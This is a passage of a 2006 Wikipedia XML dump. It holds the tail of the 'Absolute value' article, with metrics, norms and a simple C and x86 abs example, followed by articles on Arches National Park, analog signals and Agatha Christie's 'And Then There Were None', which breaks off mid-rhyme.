:&lt;math&gt;|a| := \begin{cases} a, &amp; \mbox{if }  a \ge 0  \\ -a,  &amp; \mbox{if } a &lt; 0, \end{cases} &lt;/math&gt;

where &lt;math&gt;-a&lt;/math&gt; is the [[additive inverse]] of &lt;math&gt;a&lt;/math&gt;, and &lt;math&gt;0&lt;/math&gt; is the additive [[identity element]].

== Distance==
The absolute value is closely related to the idea of distance. As noted above, the absolute value of a real or complex number is the [[distance]] from that number to the origin, along the real number line, for real numbers, or in the complex plane, for complex numbers, and more generally, the absolute value of the difference of two real or complex numbers is the distance between them.

The standard [[Euclidean distance]] between two points

:&lt;math&gt;a = (a_1, a_2, \cdots , a_n) &lt;/math&gt;

and

:&lt;math&gt;b = (b_1, b_2, \cdots , b_n) &lt;/math&gt;

in [[Euclidean space|Euclidean ''n''-space]] is defined as:
:&lt;math&gt;\sqrt{(a_1-b_1)^2 + (a_2-b_2)^2 + \cdots + (a_n-b_n)^2}. &lt;/math&gt;

This can be seen to be a generalization of &lt;math&gt;|a - b|,&lt;/math&gt; since if &lt;math&gt;a,&lt;/math&gt; &lt;math&gt;b &lt;/math&gt; are real, then by Proposition 1,
:&lt;math&gt;|a - b| = \sqrt{(a - b)^2}&lt;/math&gt;

while if 

:&lt;math&gt; a = a_1 + i a_2 \,&lt;/math&gt;

and

:&lt;math&gt; b = b_1 + i b_2 \,&lt;/math&gt;

are complex numbers, then

:{| cellpadding=10
|-
|&lt;math&gt;|a - b| \,&lt;/math&gt;
|&lt;math&gt; = |(a_1 + i a_2) - (b_1 + i b_2)|\,&lt;/math&gt;
|-
|
|&lt;math&gt; = |(a_1 - b_1) + i(a_2 - b_2)|\,&lt;/math&gt;
|-
|
|&lt;math&gt; = \sqrt{(a_1 - b_1)^2 + (a_2 - b_2)^2}&lt;/math&gt;
|}

The above shows that the &quot;absolute value&quot; distance for the real numbers or the complex numbers, agrees with the standard Euclidean distance they inherit as a result of considering them as the one and two-dimensional Euclidean spaces respectively.

The properties of the absolute value of the difference of two real or complex numbers: non-negativity, identity of indiscernibles, symmetry and the triangle inequality given in Propositions 2 and 3 above, can be seen to motivate the more general notion of a [[distance function]] as follows:

A real valued function &lt;math&gt;d&lt;/math&gt; on a set &lt;math&gt;X \times X&lt;/math&gt; is called a '''distance function''' (or a '''metric''') for &lt;math&gt;X&lt;/math&gt;, if it satisfies the following four axioms:

:{| cellpadding=10
|-
|&lt;math&gt;d(a, b) \ge 0 &lt;/math&gt;
|Non-negativity
|-
|&lt;math&gt;d(a, b) = 0 \iff a = b &lt;/math&gt;
|Identity of indiscernibles
|-
|&lt;math&gt;d(a, b) = d(b, a) \,&lt;/math&gt;
|Symmetry
|-
|&lt;math&gt;d(a+b)  \le d(a, c) + d(c, b)  &lt;/math&gt;
|Triangle inequality
|}

==Fields==
The fundamental properties of the absolute value for real numbers given in Proposition 2 above, can be used to generalize the notion of absolute value to an arbitrary field, as follows.

A real-valued function &lt;math&gt;v&lt;/math&gt; on a [[field (mathematics)|field]] &lt;math&gt;F&lt;/math&gt; is called an '''absolute value''' (also a ''modulus'', ''magnitude'', ''value'', or ''valuation'') if it satisfies the following four axioms:

:{| cellpadding=10
|-
|&lt;math&gt;v(a) \ge 0 &lt;/math&gt;
|Non-negativity
|-
|&lt;math&gt;v(a) = 0 \iff a = 0 &lt;/math&gt;
|Positive-definiteness
|-
|&lt;math&gt;v(ab) = v(a) v(b) \,&lt;/math&gt;
|Multiplicativeness
|-
|&lt;math&gt;v(a+b)  \le v(a) + v(b)  &lt;/math&gt;
|Subadditivity or the triangle inequality
|}

It follows from the above that &lt;math&gt;v(1) = 1&lt;/math&gt;, where &lt;math&gt;1&lt;/math&gt; denotes the multiplicative [[identity element]] of &lt;math&gt;F&lt;/math&gt;. The real and complex absolute values defined above are examples of absolute values for an arbitrary field.

If &lt;math&gt;v&lt;/math&gt; is an absolute value on &lt;math&gt;F&lt;/math&gt;, then the function &lt;math&gt;d&lt;/math&gt; on &lt;math&gt;F \times F&lt;/math&gt;, defined by &lt;math&gt;d(a, b) = v(a - b) &lt;/math&gt;, is a metric, and if &lt;math&gt; e &lt;/math&gt; is the multiplicative identity in &lt;math&gt;F&lt;/math&gt;, then the following are equivalent:

* &lt;math&gt;d&lt;/math&gt; satisfies the [[ultrametric]] inequality &lt;math&gt; d(x, y) \le \mathrm{max}\{d(x, z), d(y, z)\}. &lt;/math&gt;

* &lt;math&gt; \big\{ v\Big(\sum_{k=1}^n e\Big) : n \in \mathbb{N} \big\} &lt;/math&gt; is [[bounded set|bounded]] in '''R'''.

* &lt;math&gt;  v\Big(\sum_{k=1}^n e\Big) \le 1&lt;/math&gt; for every &lt;math&gt;  n \in \mathbb{N}.&lt;/math&gt;

* &lt;math&gt; v(a + b) \le \mathrm{max}\{v(a), v(b)\} &lt;/math&gt; for all &lt;math&gt; a, b \in F.&lt;/math&gt;

An absolute value which satisfies any (hence all) of the above conditions is said to be '''non-Archimedean''', otherwise it is said to be [[Archimedean field|Archimedean]].&lt;sup id=&quot;ref_Schechter&quot;&gt;&lt;small&gt;[[#endnote_Schechter|3]]&lt;/small&gt;&lt;/sup&gt;

== Vector spaces  ==

Again the fundamental properties of the absolute value for real numbers, can be used, with a slight modification, to generalize the notion to an arbitrary vector space.

A real valued function ||&amp;middot;|| on a [[vector space]] &lt;math&gt;V&lt;/math&gt; a over a field &lt;math&gt;F&lt;/math&gt;, is called an '''absolute value''' (or more usually a '''[[norm (mathematics)|norm]]''') if it satisfies the following axioms:

For all &lt;math&gt;a&lt;/math&gt; in &lt;math&gt;F&lt;/math&gt;, and &lt;math&gt;\mathbf{v}&lt;/math&gt;, &lt;math&gt;\mathbf{u}&lt;/math&gt; in &lt;math&gt;V&lt;/math&gt;,

:{| cellpadding=10
|-
|&lt;math&gt;\|\mathbf{v}\|  \ge 0 &lt;/math&gt;
|Non-negativity
|-
|&lt;math&gt;\|\mathbf{v}\| = 0 \iff \mathbf{v} = 0&lt;/math&gt;
|Positive-definiteness
|-
|&lt;math&gt;\|a \mathbf{v}\| = |a| \|\mathbf{v}\| &lt;/math&gt;
|Positive homogeneity or positive scalability
|-
|&lt;math&gt;\|\mathbf{v} + \mathbf{u}\| \le \|\mathbf{v}\| + \|\mathbf{u}\| &lt;/math&gt;
|Subadditivity or triangle inequality
|}

The norm of a vector is also called its ''length'' or ''magnitude''.

In the case of [[Euclidean space]] '''R'''&lt;sup&gt;''n''&lt;/sup&gt;, the function

:&lt;math&gt;\|(x_1, x_2, \cdots , x_n) \| = \sqrt{\sum_{i=1}^{n}(x_i)^2}&lt;/math&gt;

is a norm called the [[Euclidean norm]]. When the real numbers '''R''' are considered as the one-dimensional [[vector space]] [[Euclidean space|'''R'''&lt;sup&gt;1&lt;/sup&gt;]], the absolute value is a [[Norm (mathematics)|norm]], and is the [[Norm (mathematics)#Examples|''p''-norm]] for any ''p''. In fact the absolute value is the &quot;only&quot; norm in '''R'''&lt;sup&gt;1&lt;/sup&gt;, in the sense that, for every norm ||&amp;middot;|| in '''R'''&lt;sup&gt;1&lt;/sup&gt;, ||''x''||=||1||&amp;middot;|''x''|. The complex absolute value is a special case of the [[norm (mathematics)|norm]] in an [[inner product space]]. It is identical to the Euclidean norm, if the [[complex plane]] is identified with the [[Euclidean plane]] '''R'''&lt;sup&gt;2&lt;/sup&gt;.

== Algorithms ==

In the [[C programming language]], the &lt;code&gt;abs()&lt;/code&gt;, &lt;code&gt;labs()&lt;/code&gt;, &lt;code&gt;llabs()&lt;/code&gt; (in C99), &lt;code&gt;fabs()&lt;/code&gt;, &lt;code&gt;fabsf()&lt;/code&gt;, and &lt;code&gt;fabsl()&lt;/code&gt; functions compute the absolute value of an operand. Coding the integer version of the function is trivial, ignoring the boundary case where the largest negative integer is input:

 int abs(int i)
 {
     if (i &lt; 0)
         return -i;
     else
         return i;
 }

The [[floating-point]] versions are trickier, as they have to contend with special codes for [[infinity]] and [[not-a-number]]s.

Using [[assembly language]], it is possible to take the absolute value of a [[processor register|register]] in just three instructions (example shown for a 32-bit register on an [[x86]] architecture, [[Intel]] syntax):

 cdq
 xor eax, edx
 sub eax, edx

&lt;code&gt;cdq&lt;/code&gt; extends the sign bit of &lt;code&gt;eax&lt;/code&gt; into &lt;code&gt;edx&lt;/code&gt;.  If &lt;code&gt;eax&lt;/code&gt; is nonnegative, then &lt;code&gt;edx&lt;/code&gt; becomes zero, and the latter two instructions have no effect, leaving &lt;code&gt;eax&lt;/code&gt; unchanged.  If &lt;code&gt;eax&lt;/code&gt; is negative, then &lt;code&gt;edx&lt;/code&gt; becomes 0xFFFFFFFF, or -1.  The next two instructions then become a [[two's complement]] inversion, giving the absolute value of the negative value in &lt;code&gt;eax&lt;/code&gt;.

== References ==
* Nahin, Paul J.; [http://www.amazon.com/gp/reader/0691027951/ref=sib_dp_pt/103-5443484-7306247#reader-link ''An Imaginary Tale'']; Princeton University Press; (hardcover, 1998). ISBN 0691027951
* O'Connor, J.J. and Robertson, E.F.; [http://www-history.mcs.st-andrews.ac.uk/Mathematicians/Argand.html &quot;Jean Robert Argand&quot;]
* Schechter, Eric; ''Handbook of Analysis and Its Foundations'', pp 259-263, [http://www.amazon.com/gp/reader/0126227608/103-5443484-7306247?v=search-inside&amp;keywords=absolute%20value &quot;Absolute Values&quot;],  Academic Press (1997) ISBN 0126227608
* Weisstein, Eric W.; [[MathWorld]]: [http://mathworld.wolfram.com/AbsoluteValue.html &quot;Absolute Value&quot;]

== Notes ==
&lt;div id=&quot;endnote_Argand&quot;&gt;&lt;sup&gt;&lt;small&gt;[[#ref_Argand|1]]&lt;/small&gt;&lt;/sup&gt; [[Jean-Robert Argand]], is credited with introducing the term &quot;modulus&quot; in [[1806]], see: [http://www.amazon.com/gp/reader/0691027951/ref=sib_vae_pg_73/103-5443484-7306247?%5Fencoding=UTF8&amp;keywords=modulus&amp;p=S02K&amp;twc=4&amp;checkSum=0BsRgLAMFNMXnqArYGxr33gLjR56d%2Bc2nsSoQnGOEKE%3D#reader-page Nahin], [http://www-history.mcs.st-andrews.ac.uk/Mathematicians/Argand.html O'Connor and Robertson], and [http://functions.wolfram.com/ComplexComponents/Abs/35/ functions.Wolfram.com].&lt;/div&gt;
&lt;div id=&quot;endnote_Wolfram&quot;&gt;&lt;sup&gt;&lt;small&gt;[[#ref_Wolfram|2]]&lt;/small&gt;&lt;/sup&gt; [http://functions.wolfram.com/ComplexComponents/Abs/35/ functions.Wolfram.com] credits [[Karl Weierstrass]] with introducing the notation |''x''| in [[1841]].&lt;/div&gt;
&lt;div id=&quot;endnote_Schechter&quot;&gt;&lt;sup&gt;&lt;small&gt;[[#ref_Schechter|3]]&lt;/small&gt;&lt;/sup&gt; [http://www.amazon.com/gp/reader/0126227608/103-5443484-7306247?v=search-inside&amp;keywords=absolute%20value Schechter, p 260-261]. &lt;/div&gt;
[[Category:Numeration]]

[[cs:Absolutní hodnota]]
[[de:Absoluter Betrag]]
[[es:Valor absoluto]]
[[eo:Absoluta valoro]]
[[fr:Valeur absolue]]
[[gl:Valor absoluto]]
[[is:Algildi]]
[[it:Valore assoluto]]
[[he:ערך מוחלט]]
[[nl:Absolute waarde]]
[[ja:絶対値]]
[[pl:Wartość bezwzględna]]
[[pt:Valor absoluto]]
[[ru:Абсолютная величина]]
[[sk:Absolútna hodnota]]
[[sl:Absolutna vrednost]]
[[sr:Апсолутна вредност]]
[[fi:Itseisarvo]]
[[sv:Absolutbelopp]]
[[th:ค่าสัมบูรณ์]]
[[vi:Giá trị tuyệt đối]]
[[tr:Mutlak değer]]
[[uk:Абсолютна величина]]
[[zh:绝对值]]</text>
    </revision>
  </page>
  <page>
    <title>Arches National Park</title>
    <id>992</id>
    <revision>
      <id>41037453</id>
      <timestamp>2006-02-24T17:25:12Z</timestamp>
      <contributor>
        <username>NekoDaemon</username>
        <id>239574</id>
      </contributor>
      <minor />
      <comment>Robot: [[Cat#Communication|Nyaa]]! [[Template talk:Categoryredirect|Categoryredirect]]: [[Category:National parks of the United States]] → [[Category:National Parks of the United States]].  Requested change by [[User:Kbdank71|]]</comment>
      <text xml:space="preserve">{{Infobox_protected_area | name = Arches National Park
  | iucn_category = II
  | image = US_Locator_Blank.svg
  | caption = 
  | locator_x = 70
  | locator_y = 84
  | location = [[Utah]], [[United States|USA]]
  | nearest_city = [[Moab, Utah]]
  | lat_degrees = 38
  | lat_minutes = 41
  | lat_seconds = 0
  | lat_direction = N
  | long_degrees = 109
  | long_minutes = 34
  | long_seconds = 0
  | long_direction = W
  | area = 76,358.98 acres&lt;br&gt;&lt;font size=&quot;-2&quot;&gt;&amp;nbsp; (76,193.01 federal)&lt;/font&gt;&lt;br&gt;309.01 km²
  | established = [[April 12]], [[1929]]
  | visitation_num = 733,131
  | visitation_year = 2004
  | governing_body = [[National Park Service]]
}}
'''Arches National Park''' preserves over 2,000 [[natural arch|natural sandstone arches]], including the world-famous [[Delicate Arch]], in addition to a variety of unique geological resources and formations.

The park is located near [[Moab, Utah]], and is 119 square miles ([[1 E8 m²|309 km²]]) in size.  Its highest elevation is 5,653 feet (1,723 m) at Elephant Butte and its lowest elevation is 4,085 feet (1,245 m) at the [[visitor center]].  It receives 10 inches (250 mm) of rain a year on average.

The area, administered by the [[National Park Service]], was originally designated as a [[U.S. National Monument|national monument]] on [[April 12]], [[1929]]. It was redesignated a [[U.S. National Park|national park]] on [[November 12]], [[1971]].  More than 730,000 people visited it in 2004.

==Features==
[[Image:North_&amp;_South_Window_Arches_1.jpg|left|thumb|250px|North Window and South Window Arches]]
Among the notable features of the park are:
* [[Delicate Arch]], a lone-standing arch which has become a symbol of Utah
* [[Balanced Rock]], a large balancing rock
* [[Double Arch]], two arches located close to each other
* [[Landscape Arch]], a very thin, long arch over 300 feet (100 m), the largest in the park
* [[Fiery Furnace (park)|Fiery Furnace]], an area of maze-like narrow passages and tall rock columns
* [[Devil's Garden]], with many arches and columns scattered along a ridge
* [[Dark Angel (park)|Dark Angel]], a free-standing column of dark stone at the end of the Devil's Garden trail  
* [[Courthouse Towers]], a collection of tall columns
* [[Petrified dunes]], petrified remnants of [[sand dunes]] blown from the ancient lakes that covered the area

==Geology==
[[Image:Delicate arch 3d.jpg|right|thumb|175px|Delicate Arch, one of the most famous arches in the park. (USGS){{3d_glasses}}]]
The national park lies atop an underground salt bed, which is basically responsible for the arches and spires, balanced rocks, sandstone fins, and eroded monoliths in the area. Thousands of feet thick in places, this salt bed was deposited over the [[Colorado Plateau]] some 300 million years ago when a sea flowed into the region and eventually evaporated. Over millions of years, the salt bed was covered with residue from floods and winds and the oceans that came in intervals. Much of this debris was compressed into rock. At one time this overlying earth may have been one mile thick.

Salt under pressure is unstable, and the salt bed below Arches was no match for the weight of this thick cover of rock. Under such pressure it shifted, buckled, liquefied, and repositioned itself, thrusting the Earth layers upward into domes. Whole sections dropped into cavities. In places they turned almost on edge. [[Geologic fault|Faults]] occurred. The result of one such 2,500-foot displacement, the [[Moab Fault]], is seen from the visitor center.

As this subsurface movement of salt shaped the Earth, surface erosion stripped away the younger rock layers. Except for isolated remnants, the major formations visible in the park today are the salmon-colored [[Entrada Sandstone]], in which most of the arches form, and the buff-colored [[Navajo Sandstone]]. These are visible in layer cake fashion throughout most of the park. Over time water seeped into the superficial cracks, joints, and folds of these layers. Ice formed in the fissures, expanding and putting pressure on surrounding rock, breaking off bits and pieces. Winds later cleaned out the loose particles. A series of free-standing fins remained. Wind and water attacked these fins until, in some, the cementing material gave way and chunks of rock tumbled out. Many damaged fins collapsed. Others, with the right degree of hardness and balance, survived despite their missing sections. These became the famous arches. This is the geologic story of Arches - probably. The evidence is largely circumstantial.

==History==
[[Image:Turret_Arch_1.jpg|right|thumb|250px|Turret Arch]]
Humans have occupied the region since the last [[ice age]] 10,000 years ago.  [[Fremont people]] and [[Ancient Pueblo People]] lived in the area up until about 700 years ago.  Spanish missionaries encountered Ute and Paitue tribes in the area when they first came through in [[1775]], but the first European-Americans to attempt settlement in the area were the [[Mormon]] [[Elk Mountain Mission]] in [[1855]], but then soon abandoned the area.  Ranchers, farmers, and prospectors later settled Moab in the neighboring riverine valley in the 1880s.  Word of the beauty in the surrounding [[rock formations]] spread beyond the settlement as a possible tourist destination.

The Arches area was first brought to the attention of the National Park Service by Frank A. Wadleigh, passenger traffic manager of the [[Denver and Rio Grande Western Railroad]]. Wadleigh, accompanied by railroad photographer George L. Beam, visited the area in September 1923 at the invitation of Alexander Ringhoffer, a [[Hungary|Hungarian]]-born [[prospector]] living in Salt Valley. Ringhoffer had written to the railroad in an effort to interest them in the tourist potential of a scenic area he had discovered the previous year with his two sons and a son-in-law, which he called the &quot;Devil's Garden&quot; (known today as the &quot;Klondike Bluffs&quot;). Wadleigh was impressed by what Ringhoffer showed him, and suggested to Park Service director Stephen T. Mather that the area be made a national monument.

The following year additional support for the monument idea came from Laurence M. Gould, a University of Michigan graduate student studying the geology of the nearby La Sal mountains, who was shown the scenic area by retired local physician Dr. J.W. &quot;Doc&quot; Williams.

[[image:Landscape arch 20030917 093317 1.1504x807.jpg|left|250px|thumb|Landscape Arch]]

A succession of government investigators examined the area, in part due to confusion as to the precise location. In the process the name &quot;Devil's Garden&quot; was transposed to an area on the opposite side of Salt Valley, and Ringhoffer's original discovery was omitted, while another area nearby, known locally as &quot;The Windows&quot;, was included. Designation of the area as a national monument was supported by the Park Service from [[1926]], but was resisted by President [[Calvin Coolidge]]'s Interior Secretary. Finally in April [[1929]], shortly after his inauguration, President [[Herbert Hoover]] signed a presidential proclamation creating Arches National Monument, consisting of two comparatively small, disconnected sections. The purpose of the reservation under the 1906 [[Antiquities Act]] was to protect the arches, spires, balanced rocks, and other sandstone formations for their scientific and educational value. The name &quot;Arches&quot; was suggested by Frank Pinkely, superintendent of the Park Service's southwestern national monuments, following a visit to the Windows section in 1925.

In late [[1938]], President [[Franklin D. Roosevelt]] signed a proclamation which enlarged the Arches to protect additional scenic features and permit development of facilities to promote tourism. A small adjustment was made by President [[Dwight Eisenhower]] in [[1960]] to accommodate a new road alignment.

In early [[1969]], just before leaving office, President [[Lyndon Johnson]] signed a proclamation substantially enlarging the Arches. Two years later President [[Richard Nixon]] signed legislation enacted by Congress which significantly reduced the area of Arches, but changed its status to a National Park.

==Publicity==
American writer [[Edward Abbey]] was a [[park ranger]] at Arches National Monument when he kept journals that became his book ''Desert Solitaire''.  The success of this book, as well as the rise in [[adventure tourism|adventure-based recreation]], has drawn many [[hikers]], [[mountain bike|mountain-bikers]], and [[off-road]] enthusiasts to the area, but activities are limited within park boundaries: camping, foot hiking (along designated trails), and driving only along marked roads.

The opening scenes of the movie ''[[Indiana Jones and the Last Crusade]]'' were filmed at the park.

==Reference==
* ''The National Parks: Index 2001–2003''. Washington: [[United States Department of the Interior|U.S. Department of the Interior]].

==External links==
{{Commons|Arches National Park|Arches National Park}}
* [http://www.nps.gov/arch/index.htm Arches National Park Official site]
* {{Wikitravel}}
*[http://www.terragalleria.com/parks/np.arches.html Photos of Arches National Park - Terra Galleria]
*[http://www.entradautah.com/arches Arches National Park]
*[http://www.UntraveledRoad.com/USA/Parks/Arches.htm Photographic virtual tour of Arches National Park]
{{Geolinks-US-cityscale|38.750555|-109.566944|10}}

{{National parks of the United States}}

[[Category:Archaeological sites in the United States]]
[[Category:Grand County, Utah]]
[[Category:National Parks of the United States]]
[[Category:Natural arches]]
[[Category:Utah landmarks]]

[[da:Arches Nationalpark]]
[[de:Arches-Nationalpark]]
[[es:Parque Nacional Arches]]
[[fr:Arches National Park]]
[[pl:Park Narodowy Arches]]</text>
    </revision>
  </page>
  <page>
    <title>Analog signal</title>
    <id>993</id>
    <revision>
      <id>39666041</id>
      <timestamp>2006-02-15T00:58:58Z</timestamp>
      <contributor>
        <ip>144.139.85.151</ip>
      </contributor>
      <text xml:space="preserve">An '''analog''' or '''analogue''' signal is any variable signal [[continuous function|continuous]] in both time and amplitude. It differs from a [[digital signal]] in that small fluctuations in the signal are meaningful. Analog is usually thought of in an [[electricity|electrical]] context, however mechanical, pneumatic, hydraulic, and other systems may also use analog signals.

The word &quot;analog&quot; implies an [[analogy]] between cause and effect, voltage in and voltage out, current in and current out, sound in and frequency out.

An analog signal uses some property of the medium to convey the signal's information. For example, an [[aneroid barometer]] uses rotary position as the signal to convey pressure information. Electrically, the property most commonly used is [[voltage]] followed closely by [[frequency]], [[Current (electricity)|current]], and [[electric charge|charge]].

Any information may be conveyed by an analog signal, often such a signal is a measured [[response]] to changes in physical phenomena, such as [[sound]], [[light]], [[temperature]], [[position]], or [[pressure]], and is achieved using a [[transducer]].

For example, in an analog sound recording, the variation in [[pressure]] of a [[sound]] striking a [[microphone]] creates a corresponding variation in the voltage amplitude of a current passing through it. An increase in the volume of the sound causes the fluctuation of the current's voltage amplitude to increase while keeping the same rhythm.

The primary disadvantage of analog signalling is that any system has [[Noise (physics)|noise]]&amp;mdash;that is, random variations&amp;mdash;in it. As the signal is copied and re-copied, or transmitted over long distances, these random variations become dominant. Electrically these losses are lessened by shielding, good connections, and several cable types such as coax and twisted pair.

The effects of [[signal noise|noise]] make signal loss and distortion impossible to recover, since amplifying the signal to recover attenuated parts of the signal amplifies the noise as well.

Another method of conveying an analog signal is to use [[modulation]]. In this, some base signal (e.g., a [[sinusoidal]] [[carrier wave]]) has one of its properties modulated: [[amplitude modulation]] involves altering the amplitude of a sinusoidal voltage [[wave]]form by the source information, [[frequency modulation]] changes the [[frequency]]. Other techniques, such as changing the [[phase (waves)|phase]] of the base signal also work.

Analog circuits do not involve [[quantisation]] of information into digital format. The concept being measured over the circuit, whether sound, light, pressure, temperature, or an exceeded limit, remains from end to end.

[[Clock]]s with hands are called analog; those that display digits are called digital. However, many analog clocks are actually digital since the hands do not move in a smooth continuous motion, but in small steps every second or half a second, or every minute with a loud CLUNK.

See [[digital]] for a discussion of ''digital vs. analog''.

Sources: Some of an earlier version of this article was originally taken from [[Federal Standard 1037C]] in support of [[MIL-STD-188]].

==See also==
* [[Analog computer]]
* [[Analog to digital converter]]
* [[Digital to analog converter]]
* [[Analog television]]
* [[Analog synthesizer]]
* [[Analog photocopier]]
* [[telautograph|Analog fax machine]]
[[Category:Sound]]
[[Category:Electronic design]]

[[da:Analog]]
[[de:Analogsignal]]
[[es:Señal analógica]]
[[eo:Analoga]]
[[fr:Analogique]]
[[ko:아날로그]]
[[it:Analogico]]
[[nl:Analoog]]
[[ja:アナログ]]
[[pt:Sinal analógico]]
[[ru:Аналоговый сигнал]]
[[fi:Analoginen]]
[[zh:模拟信号]]</text>
    </revision>
  </page>
  <page>
    <title>Arecales</title>
    <id>994</id>
    <revision>
      <id>25086937</id>
      <timestamp>2005-10-08T21:44:55Z</timestamp>
      <contributor>
        <username>Eugene van der Pijll</username>
        <id>22016</id>
      </contributor>
      <comment>redirect order to monotypic member family</comment>
      <text xml:space="preserve">#REDIRECT [[Arecaceae]]</text>
    </revision>
  </page>
  <page>
    <title>And Then There Were None</title>
    <id>999</id>
    <revision>
      <id>41684029</id>
      <timestamp>2006-03-01T01:16:19Z</timestamp>
      <contributor>
        <username>Carfanatic</username>
        <id>589587</id>
      </contributor>
      <text xml:space="preserve">[[Image:AndThenThereWereNoneDVDCover.jpg|right|thumb|The 1945 film version, showing (left to right) [[Barry Fitzgerald]], [[June Duprez]] and [[Walter Huston]].]]

'''''And Then There Were None''''' (also known as '''''Ten Little Indians''''' and originally as '''''Ten Little Niggers''''') is a [[detective fiction|detective novel]] by [[Agatha Christie]] first published in [[1939]].

==Plot==
{{spoiler}}

The story focuses on ten strangers who are all (but one) brought, by misleading information, to an [[Burgh Island|island]] off the coast of [[Devon]], in southern [[England]].

The characters are:
*Vera Claythorne, a young teacher in a third class school
*Philip Lombard, a down-on-his luck explorer/mercenary
*William Blore, a retired police inspector, now a private investigator
*Dr. Edward Armstrong, a private physician
*Justice Lawrence Wargrave, a bitter, cynical retired judge
*Emily Brent, an elderly spinster and a religious zealot of extreme proportions
*Rogers, the butler
*General Macarthur, a lonely, retired army man
*Mrs. Rogers, the housekeeper, Rogers' wife
*Anthony Marston, a reckless playboy

On their first night, the ten realize that they have been brought to the island under false pretenses,  but now have no means of getting away. A mysterious gramophone recording informs them that all ten of them are guilty of &quot;murders,&quot; though in this case the killings cannot be dealt with by law.

On the first night, Anthony Marston dies of posioning. In the morning, Mrs. Rogers fails to wake up and it is determined that she probably had a fatal overdose of sleeping drugs. At lunch the next day, General Macarthur is found dead by a blow to the back of his head. After searching the island for the murderer or possible hiding spots, the survivors realize that the murderer can only be one of them, and whoever it is, is playing a game - killing them in manners poetically similar to a nursery rhyme, and also removing one of ten little figurines in the dining room after each death. The survivors have a meeting and discover that none of them have an alibi for any of the deaths.

The next morning Rogers is found dead in the woodshed, having been killed with a giant axe that was nearby. Later that day, Emily Brent dies from an injection of [[potassium cyanide]]. The five remaining - Dr. Armstrong, Justice Wargrave, Philip Lombard, Vera Claythorne, and Inspector Blore - become increasingly paranoid. Later, Justice Wargrave is found dead, having been shot through the head. That night, Dr. Armostrong leaves the house, and when the rest of the survivors search for him they cannot find him.

Vera, Inspector Blore, and Philip Lombard go outside. Blore decides to go back to the house to get some sustinance, and a dull thud is heard. When Vera and Philip check to see what happened, they find Blore crushed to death by a heavy marble clock. They assume Doctor Armstrong did it and decide to stay out of the house. The two survivors get back to the beach only to find Armstrong's body washed up on the shore. Vera and Lombard they realise that they are the only two left. Even though they could not possibly have mudered the Inspector, the never ending suspicion has driven them to a breaking point and they assume each other as the murderers. Philip Lombard reaches for he revolver, only to discover that Vera Claythorne pickpoketed it. She shoots him and then returns to the house, thinking she is finally safe. When Vera gets to her room, she discovers a noose hanging there, and having been finally driven crazy by the entire experience, she hangs herself, thus fullfilling the rhyme upon which the murders were based.

So, by the novel's end, all ten guests are dead, leaving a &quot;[[locked room mystery]].&quot; A police investigation, though thorough, cannot find any satisfactory explanation. It is resolved when a letter in a bottle, tossed into the ocean and recovered by a trawler, is delivered to the police, which was written by the murderer.

==Film and Theater==

Christie had been disappointed in previous adaptations of her novels. As she had written a play before, she decided to adapt her own book herself. She decided that the staging of a play required the survival of two characters in order to carry the plot exposition. Consequently the resolution of the play is very different from that of the book (though the identity of the killer remains the same). This stage version dates from [[1943]]. All but one of the films followed the play's humourous tone &amp; ending, rather than the book's dark tone and downbeat resolution.  

The story was adapted for the cinema as ''And Then There Were None'' in [[1945]] and again in [[1974]]; and also filmed as ''Ten Little Indians'' in [[1959]] (as truncated television recording of the play), [[1965]], [[1974]], [[1989]] and as ''Ten Little Niggers'' in [[1987]]. The 1945 &amp; 1987 film versions were the most successful and took fewer liberties with Christie's plot than some of the other versions.  The 1945 film was [[film director|directed]] by [[Rene Clair]] from a [[screenplay]] by [[Dudley Nichols]]. The 1987 film was written, produced and directed by renowed [[Russia|Russian]] [[filmmaker]], [[Stanislav Govorukhin]].

The 1987 version was an extremely faithful-to-the-novel film adaptation made in [[Russia]], the title of which (''&quot;Desyat Negrityat&quot;'') translates directly to the novel's original title, ''Ten Little Niggers'' (since the novel's title was never altered in most of the world outside of [[United States]] and [[United Kingdom]].) The Russian version is the only adaptation that didn't change any of the characters or the ending of the book. It is most famous in Russia for having a legendary ensemble cast of the most famous and talented actors in Russia. Arguably, the Russian production is even more star-studded than any of the [[Hollywood]] versions.

These film versions usually feature all-star casts and are set in different locations, such as the [[Austria|Austrian]] [[Alps]], the [[Iran|Iranian]] desert, and the [[Africa|African]] jungle. The only ones to keep the island as the location were the [[1945]] and the [[1987]] versions.

The basic concept of the plot has been recycled countless times, often without crediting Christie (who herself recycled numerous story concepts.)  The most recent example is probably the 2004 [[crime]] [[thriller]] ''[[Mindhunters]]'', which includes many elements of Christie's original story, including an island and various plot twists.

In 2005 a new version of ''And Then There Were None'' was performed in London's [[West End theatre|West End]]. Written by [[Kevin Elyot]] and directed by [[Steven Pimlott]], it is based on the novel rather than on Christie's drama. 

===List of movie adaptations===
* ''[[And Then There Were None (1945 film)]]'' - directed by [[René Clair]] ([http://www.imdb.com/title/tt0037515/ IMDb listing])
* ''[[Ten Little Indians (1959 film)]]'' - live television presentation, directed by [[Paul Bogart]], [[Philip F. Falcone]], [[Leo Farrenkopf]] and [[Dan Zampino]] ([http://www.imdb.com/title/tt0278766/ IMDb listing])
* ''[[Ten Little Indians (1965 film)]]'' - directed by [[George Pollack (film director)|George Pollock]] ([http://www.imdb.com/title/tt0061075/ IMDb listing])
* ''[[And Then There Were None (1974 film)]]'' - directed by [[Peter Collinson]] ([http://www.imdb.com/title/tt0072263/ IMDb listing])
* ''[[Desyat negrityat]]'' (1987) - directed by [[Stanislav Govorukhin]] ([http://www.imdb.com/title/tt0092879/ IMDb listing])
* ''[[Ten Little Indians (1989 film)]]'' - directed by [[Alan Birkinshaw]] ([http://www.imdb.com/title/tt0098454/ IMDb listing])

==The rhyme==
The book's original title &quot;Ten Little Niggers&quot; was taken from the chorus of an [[United States|American]] [[comic song]], written by [[Septimus Winner]] in [[1868]]; there are many variants of the lyrics, of which &quot;Ten Little [[Injuns]]&quot; is probably the most familiar to modern audiences.  The song is now considered by many to be [[racist]] and offensive.

The rhyme used in the novel is as follows:

&lt;!--This needs transwiki-ing to wikisource --&gt; 
:Ten little Indian boys going out to dine; 
::One choked his little self and then there were nine. 
:Nine little Indian boys sat up very late; 
::One overslept himself and then there were eight. 
:Eight little Indian boys traveling in Devon; 
::One said he'd stay and then there were seven. 
:Seven little Indian boys chopping up sticks; 
::One chopped himself into halves and then there were six. 
:Six little Indian boys playing with a hive; 
::A [[bumblebee]] stung one and then there were five. 
:Five little Indian boys going in for law; 
::One got in [[Chancery]] and then there were four. 
:Four little Indian boys going out to sea; 
::A [[red herring]] swallowed one and then there were three. 
